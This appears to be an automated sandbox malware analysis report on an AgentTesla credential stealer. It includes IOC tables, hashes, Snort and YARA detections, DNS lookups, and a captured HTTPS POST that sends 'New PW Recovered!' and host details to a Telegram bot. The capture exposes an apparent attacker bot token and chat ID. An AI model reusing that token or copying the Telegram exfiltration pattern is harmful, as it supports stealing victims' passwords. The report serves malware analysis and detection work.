	YWombrpvpG.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Bestellung_(PO4703392)_doc.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Parts.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	DHL_Original_Document.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	e-dekont.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Dn4GujmGOF.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Inv-67383728 [Reference Nr.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Remittance_slip.bat	Get hash	malicious	Unknown	Browse	149.154.167.220
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, HTMLPhisher, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, HTMLPhisher, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RHADAMANTHYS, RedLine, SmokeLoader, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Amadey, Djvu, RHADAMANTHYS, SmokeLoader, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Amadey, Djvu, RHADAMANTHYS, SmokeLoader, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	Amadey, Djvu, RHADAMANTHYS, SmokeLoader, Vidar	Browse	149.154.167.99
	New_Order_M2023SI3.xls	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	PDA_REQUEST_DISCHARGE_55,000_MT_GRAIN_IN_BULK_pdf.exe	Get hash	malicious	Vector Stealer	Browse	149.154.167.220
	PO_340166.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	PO_IN34023.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	149.154.167.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Payment Invoice file.htm	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220 64.185.227.155
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 64.185.227.155
	Budget plan 2023.zip	Get hash	malicious	Unknown	Browse	149.154.167.220 64.185.227.155
	setup.exe	Get hash	malicious	Xmrig	Browse	149.154.167.220 64.185.227.155
	Remittance_slip.bat	Get hash	malicious	Unknown	Browse	149.154.167.220 64.185.227.155
	Payment Invoice 0012657.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220 64.185.227.155
	FeDex_shipping_document.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 64.185.227.155
	DHL_Shipping_Document2.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	149.154.167.220 64.185.227.155
	PDA_REQUEST_DISCHARGE_55,000_MT_GRAIN_IN_BULK_pdf.exe	Get hash	malicious	Vector Stealer	Browse	149.154.167.220 64.185.227.155
	PO2023#PREORDER.PDF.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 64.185.227.155
	PO_340166.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 64.185.227.155
	PO_IN34023.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	149.154.167.220 64.185.227.155
	2303-64687.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 64.185.227.155
	Product_specifications.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 64.185.227.155
	REQUEST_FOR_QUOTE_1603023.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	149.154.167.220 64.185.227.155
	eRPRiQhQEI.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 64.185.227.155
	INV_SOA.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 64.185.227.155
	IMG_6071220733pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 64.185.227.155
	yeni_sipari#U015f.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 64.185.227.155
	yeni_sipari#U015f.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 64.185.227.155

Process:	C:\Users\user\Desktop\g0PWOnCNZH.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Static File Info

General

File type:
Entropy (8bit):	7.86252276593653
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	g0PWOnCNZH.exe
File size:	746496
MD5:	87be1ac6122ed0c75b3af80696b9e686
SHA1:	28954d7b81380a52dc012eb21c4769fe54070a5c
SHA256:	de673c6577604d1036c5df6d67d9f5f9010eeb367a43ec7712b5614f70b725cd
SHA512:	a58b7039d2967f214534f0609e9e2fa16b0ae2520265bac212cfd8a2d3a908276b1ef54bd8536028ddd1614eafd686d9effdd7d7a3472845c668c1cb1bc7f947
SSDEEP:	12288:r9umYMUnFW/Nhb/kpGsc1WgkAhK6KttQM2AW+DYXoRf0D9u1pHG8RTiy4uhyNv6n:r9uUT2wogkAg6K7Q4pMXomwRhhyNv6
TLSH:	76F402782F8A9538F1321BBD85E8264467AEB3B26713D55D18F511CE4B63B034ED0A2F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...;..d..............0..N..........fm... ........@.. ....................................@................................

File Icon


Icon Hash:	209480e66eb84902

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.3149.154.167.220496854432851779 03/20/23-16:41:25.765012	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49685	443	192.168.2.3	149.154.167.220

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 16:41:11.823951960 CET	49684	443	192.168.2.3	64.185.227.155
Mar 20, 2023 16:41:11.824016094 CET	443	49684	64.185.227.155	192.168.2.3
Mar 20, 2023 16:41:11.824614048 CET	49684	443	192.168.2.3	64.185.227.155
Mar 20, 2023 16:41:11.861870050 CET	49684	443	192.168.2.3	64.185.227.155
Mar 20, 2023 16:41:11.861911058 CET	443	49684	64.185.227.155	192.168.2.3
Mar 20, 2023 16:41:13.289160013 CET	443	49684	64.185.227.155	192.168.2.3
Mar 20, 2023 16:41:13.289249897 CET	49684	443	192.168.2.3	64.185.227.155
Mar 20, 2023 16:41:13.293323994 CET	49684	443	192.168.2.3	64.185.227.155
Mar 20, 2023 16:41:13.293349981 CET	443	49684	64.185.227.155	192.168.2.3
Mar 20, 2023 16:41:13.293910980 CET	443	49684	64.185.227.155	192.168.2.3
Mar 20, 2023 16:41:13.336273909 CET	49684	443	192.168.2.3	64.185.227.155
Mar 20, 2023 16:41:13.603498936 CET	49684	443	192.168.2.3	64.185.227.155
Mar 20, 2023 16:41:13.603526115 CET	443	49684	64.185.227.155	192.168.2.3
Mar 20, 2023 16:41:13.702334881 CET	443	49684	64.185.227.155	192.168.2.3
Mar 20, 2023 16:41:13.703789949 CET	443	49684	64.185.227.155	192.168.2.3
Mar 20, 2023 16:41:13.703888893 CET	49684	443	192.168.2.3	64.185.227.155
Mar 20, 2023 16:41:13.705327988 CET	49684	443	192.168.2.3	64.185.227.155
Mar 20, 2023 16:41:25.648309946 CET	49685	443	192.168.2.3	149.154.167.220
Mar 20, 2023 16:41:25.648375988 CET	443	49685	149.154.167.220	192.168.2.3
Mar 20, 2023 16:41:25.648475885 CET	49685	443	192.168.2.3	149.154.167.220
Mar 20, 2023 16:41:25.649236917 CET	49685	443	192.168.2.3	149.154.167.220
Mar 20, 2023 16:41:25.649266005 CET	443	49685	149.154.167.220	192.168.2.3
Mar 20, 2023 16:41:25.715833902 CET	443	49685	149.154.167.220	192.168.2.3
Mar 20, 2023 16:41:25.715944052 CET	49685	443	192.168.2.3	149.154.167.220
Mar 20, 2023 16:41:25.718837976 CET	49685	443	192.168.2.3	149.154.167.220
Mar 20, 2023 16:41:25.718869925 CET	443	49685	149.154.167.220	192.168.2.3
Mar 20, 2023 16:41:25.719206095 CET	443	49685	149.154.167.220	192.168.2.3
Mar 20, 2023 16:41:25.721429110 CET	49685	443	192.168.2.3	149.154.167.220
Mar 20, 2023 16:41:25.721477032 CET	443	49685	149.154.167.220	192.168.2.3
Mar 20, 2023 16:41:25.762315035 CET	443	49685	149.154.167.220	192.168.2.3
Mar 20, 2023 16:41:25.764890909 CET	49685	443	192.168.2.3	149.154.167.220
Mar 20, 2023 16:41:25.764924049 CET	443	49685	149.154.167.220	192.168.2.3
Mar 20, 2023 16:41:25.857546091 CET	443	49685	149.154.167.220	192.168.2.3
Mar 20, 2023 16:41:25.857656956 CET	443	49685	149.154.167.220	192.168.2.3
Mar 20, 2023 16:41:25.858115911 CET	49685	443	192.168.2.3	149.154.167.220
Mar 20, 2023 16:41:25.858155012 CET	49685	443	192.168.2.3	149.154.167.220
Mar 20, 2023 16:41:25.858175039 CET	443	49685	149.154.167.220	192.168.2.3
Mar 20, 2023 16:41:25.858217001 CET	49685	443	192.168.2.3	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 16:41:11.759686947 CET	58974	53	192.168.2.3	8.8.8.8
Mar 20, 2023 16:41:11.779360056 CET	53	58974	8.8.8.8	192.168.2.3
Mar 20, 2023 16:41:11.789952040 CET	63722	53	192.168.2.3	8.8.8.8
Mar 20, 2023 16:41:11.807668924 CET	53	63722	8.8.8.8	192.168.2.3
Mar 20, 2023 16:41:25.629864931 CET	65522	53	192.168.2.3	8.8.8.8
Mar 20, 2023 16:41:25.647144079 CET	53	65522	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2023 16:41:11.759686947 CET	192.168.2.3	8.8.8.8	0x745e	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:41:11.789952040 CET	192.168.2.3	8.8.8.8	0xb647	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:41:25.629864931 CET	192.168.2.3	8.8.8.8	0x9cef	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2023 16:41:11.779360056 CET	8.8.8.8	192.168.2.3	0x745e	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 16:41:11.779360056 CET	8.8.8.8	192.168.2.3	0x745e	No error (0)	api4.ipify.org		64.185.227.155	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:41:11.779360056 CET	8.8.8.8	192.168.2.3	0x745e	No error (0)	api4.ipify.org		173.231.16.76	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:41:11.779360056 CET	8.8.8.8	192.168.2.3	0x745e	No error (0)	api4.ipify.org		104.237.62.211	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:41:11.807668924 CET	8.8.8.8	192.168.2.3	0xb647	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 20, 2023 16:41:11.807668924 CET	8.8.8.8	192.168.2.3	0xb647	No error (0)	api4.ipify.org		64.185.227.155	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:41:11.807668924 CET	8.8.8.8	192.168.2.3	0xb647	No error (0)	api4.ipify.org		173.231.16.76	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:41:11.807668924 CET	8.8.8.8	192.168.2.3	0xb647	No error (0)	api4.ipify.org		104.237.62.211	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:41:25.647144079 CET	8.8.8.8	192.168.2.3	0x9cef	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49684	64.185.227.155	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Direction	Data
2023-03-20 15:41:13 UTC	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2023-03-20 15:41:13 UTC	IN	HTTP/1.1 200 OK Content-Length: 14 Content-Type: text/plain Date: Mon, 20 Mar 2023 15:41:13 GMT Vary: Origin Connection: close
2023-03-20 15:41:13 UTC	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 37 38 Data Ascii: 102.129.143.78

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49685	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-20 15:41:25 UTC	0	OUT	POST /bot2134979594:AAFk4QkrlHlt2a-q-EhIoHZBbzxSH0QxiBI/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8db2961f20f6dfc Host: api.telegram.org Content-Length: 972 Expect: 100-continue Connection: Keep-Alive
2023-03-20 15:41:25 UTC	0	IN	HTTP/1.1 100 Continue
2023-03-20 15:41:25 UTC	0	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 32 39 36 31 66 32 30 66 36 64 66 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 39 35 31 38 35 38 39 35 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 32 39 36 31 66 32 30 66 36 64 66 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 33 2f 32 30 2f 32 30 32 33 20 31 36 3a 34 31 3a 32 35 0a 55 73 65 72 Data Ascii: -----------------------------8db2961f20f6dfcContent-Disposition: form-data; name="chat_id"1295185895-----------------------------8db2961f20f6dfcContent-Disposition: form-data; name="caption"New PW Recovered!Time: 03/20/2023 16:41:25User
2023-03-20 15:41:25 UTC	1	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 20 Mar 2023 15:41:25 GMT Content-Type: application/json Content-Length: 762 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":38460,"from":{"id":2134979594,"is_bot":true,"first_name":"ORIGINLOGGER","username":"ORINGINLOGGERgibBOT"},"chat":{"id":1295185895,"first_name":"Gibson","last_name":"Marty","username":"gibmann","type":"private"},"date":1679326885,"document":{"file_name":"user-932923 2023-03-20 16-41-25.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAKWPGQYfqUPBi8UE3EHAAHfNT9QNtm4igACCQ4AAt12wVDfIEg4lrpSji8E","file_unique_id":"AgADCQ4AAt12wVA","file_size":349},"caption":"New PW Recovered!\n\nTime: 03/20/2023 16:41:25\nUser Name: user/932923\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 102.129.143.78","caption_entities":[{"offset":178,"length":14,"type":"url"}]}}

Target ID:	0
Start time:	16:41:00
Start date:	20/03/2023
Path:	C:\Users\user\Desktop\g0PWOnCNZH.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\g0PWOnCNZH.exe
Imagebase:	0x990000
File size:	746496 bytes
MD5 hash:	87BE1AC6122ED0C75B3AF80696B9E686
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	16:41:09
Start date:	20/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x570000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	128
Total number of Limit Nodes:	4

Executed Functions

Function 07B76468 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301786156.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b70000_g0PWOnCNZH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 393165bc213de7786178be5b9c5d3af0ccc65a87dc81c0839f9530908fa1aa01
Instruction ID: 3d9655c416fab949d6efe9cf3939b2796fb43a39932b1727c0f37edc11092013
Opcode Fuzzy Hash: 393165bc213de7786178be5b9c5d3af0ccc65a87dc81c0839f9530908fa1aa01
Instruction Fuzzy Hash: 8F9153B4E05619CFDB04CFAAC5809EEFBF2BF89304F24956AD419AB245D7349942CF60

Uniqueness

Uniqueness Score: -1.00%

Function 07B76478 Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301786156.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b70000_g0PWOnCNZH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d65e7df1a441a18eb5e85287b206fd136b88727390516fb1f9e095a824ab5158
Instruction ID: 7123084be56ba6978380347c7f16433f147e498fef1f67ec46e7b380b410bc48
Opcode Fuzzy Hash: d65e7df1a441a18eb5e85287b206fd136b88727390516fb1f9e095a824ab5158
Instruction Fuzzy Hash: 3F9144B4E05619CFDB04CFAAC5809EEFBF2BF89304F24956AD419AB205D7349942CF64

Uniqueness

Uniqueness Score: -1.00%

Function 07B7653D Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301786156.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b70000_g0PWOnCNZH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08636596734383af9bee7bdb8399ded380a84de2e637ee3d7c6b9d3ed31833cd
Instruction ID: c6e8585baef6aae6ebedfc6ac34fe2a78c15ec89b1b60118cd7c263bf98b5ccb
Opcode Fuzzy Hash: 08636596734383af9bee7bdb8399ded380a84de2e637ee3d7c6b9d3ed31833cd
Instruction Fuzzy Hash: FF8133B4E0561ACFDB04CFA9C5809EEFBF2BF89314F24955AD41ABB205D3349942CB64

Uniqueness

Uniqueness Score: -1.00%

Function 073F99D8 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.300061969.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_g0PWOnCNZH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03bdb44181db2b9503ba32e0815b44414ef25e71d0d87d785fe0d5f4fd2a861d
Instruction ID: 37e90e1765e7f8c18562981e44f7385d37016f48bf33d0855153052ce8646bcd
Opcode Fuzzy Hash: 03bdb44181db2b9503ba32e0815b44414ef25e71d0d87d785fe0d5f4fd2a861d
Instruction Fuzzy Hash: A04153B4E16108CBEF14DFA9C9407EDBBFAABCE340F149529D509F7644DB30A8018B54

Uniqueness

Uniqueness Score: -1.00%

Function 014FC300 Relevance: 6.1, APIs: 4, Instructions: 122
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 014FC370
GetCurrentThread.KERNEL32 ref: 014FC3AD
GetCurrentProcess.KERNEL32 ref: 014FC3EA
GetCurrentThreadId.KERNEL32 ref: 014FC443

Memory Dump Source

Source File: 00000000.00000002.275313052.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14f0000_g0PWOnCNZH.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 3b8e6e578a96f313b0b7cba264bcd7653185a220a39e9a6082bc5aa87c637c16
Instruction ID: 812c6fe09926b4a98b1fbb333e79727dbe007c5696be323bf09ed94b1ddfc9ba
Opcode Fuzzy Hash: 3b8e6e578a96f313b0b7cba264bcd7653185a220a39e9a6082bc5aa87c637c16
Instruction Fuzzy Hash: 795164B89007498FDB14CFAAC988B9EBFF1EF48314F20845EE509A7360D7756984CB65

Uniqueness

Uniqueness Score: -1.00%

Function 014FC310 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 014FC370
GetCurrentThread.KERNEL32 ref: 014FC3AD
GetCurrentProcess.KERNEL32 ref: 014FC3EA
GetCurrentThreadId.KERNEL32 ref: 014FC443

Memory Dump Source

Source File: 00000000.00000002.275313052.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14f0000_g0PWOnCNZH.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a038797c31ff0706112d866e5c8e69faa38c401664dcff167187accc36a43638
Instruction ID: 61c920a9e146373a10738ebb8341f31f6a07d2b7d9c66cf76d1bae8a55ba9790
Opcode Fuzzy Hash: a038797c31ff0706112d866e5c8e69faa38c401664dcff167187accc36a43638
Instruction Fuzzy Hash: 285155B89007498FDB14CFAAC988B9EBFF5EF48314F20845EE509A7360C7756984CB65

Uniqueness

Uniqueness Score: -1.00%

Function 073F87C0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 073F89F6

Memory Dump Source

Source File: 00000000.00000002.300061969.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_g0PWOnCNZH.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a62ab941b9accc2e45cfad659afe52d84c40161aa06d0f3377b6fc059cfd15ab
Instruction ID: b9965db5b9e07a55f0b66541c73315ffed396a2daf296afd4526d9e6ec1c1b8f
Opcode Fuzzy Hash: a62ab941b9accc2e45cfad659afe52d84c40161aa06d0f3377b6fc059cfd15ab
Instruction Fuzzy Hash: 04912AB1D0021ACFEB14CFA9C8417DEBAB2FF44354F1485A9D919A7240DB749985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 014FA028 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 014FA26E

Memory Dump Source

Source File: 00000000.00000002.275313052.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14f0000_g0PWOnCNZH.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c5da2e6f7502da5096bae8eb1810d9807035e280251437e2617cdd6fe3b334a6
Instruction ID: 893ab0eef3e5a2bf88fbaf26e7f67491e41188cfacd85519e88cf15511e858a1
Opcode Fuzzy Hash: c5da2e6f7502da5096bae8eb1810d9807035e280251437e2617cdd6fe3b334a6
Instruction Fuzzy Hash: F07112B0A00B058FDB24DF2AD44075BBBF5BF88344F10892ED58ADBB60DB35E8458B91

Uniqueness

Uniqueness Score: -1.00%

Function 014F3DE8 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 014F5421

Memory Dump Source

Source File: 00000000.00000002.275313052.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14f0000_g0PWOnCNZH.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: ab42b95f630aa23bcb0cc9f8cd292c88e6fcdcdce844e34a73bd71deb37862bb
Instruction ID: ddf3642a80df59df8079f6e72014d1d8ba5d273d33a5699ef41fde55bb9ae045
Opcode Fuzzy Hash: ab42b95f630aa23bcb0cc9f8cd292c88e6fcdcdce844e34a73bd71deb37862bb
Instruction Fuzzy Hash: D241E375D00718CFDB24CFA9C88478EBBB5FF48305F24806AD509AB251DBB56986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 014F5364 Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 014F5421

Memory Dump Source

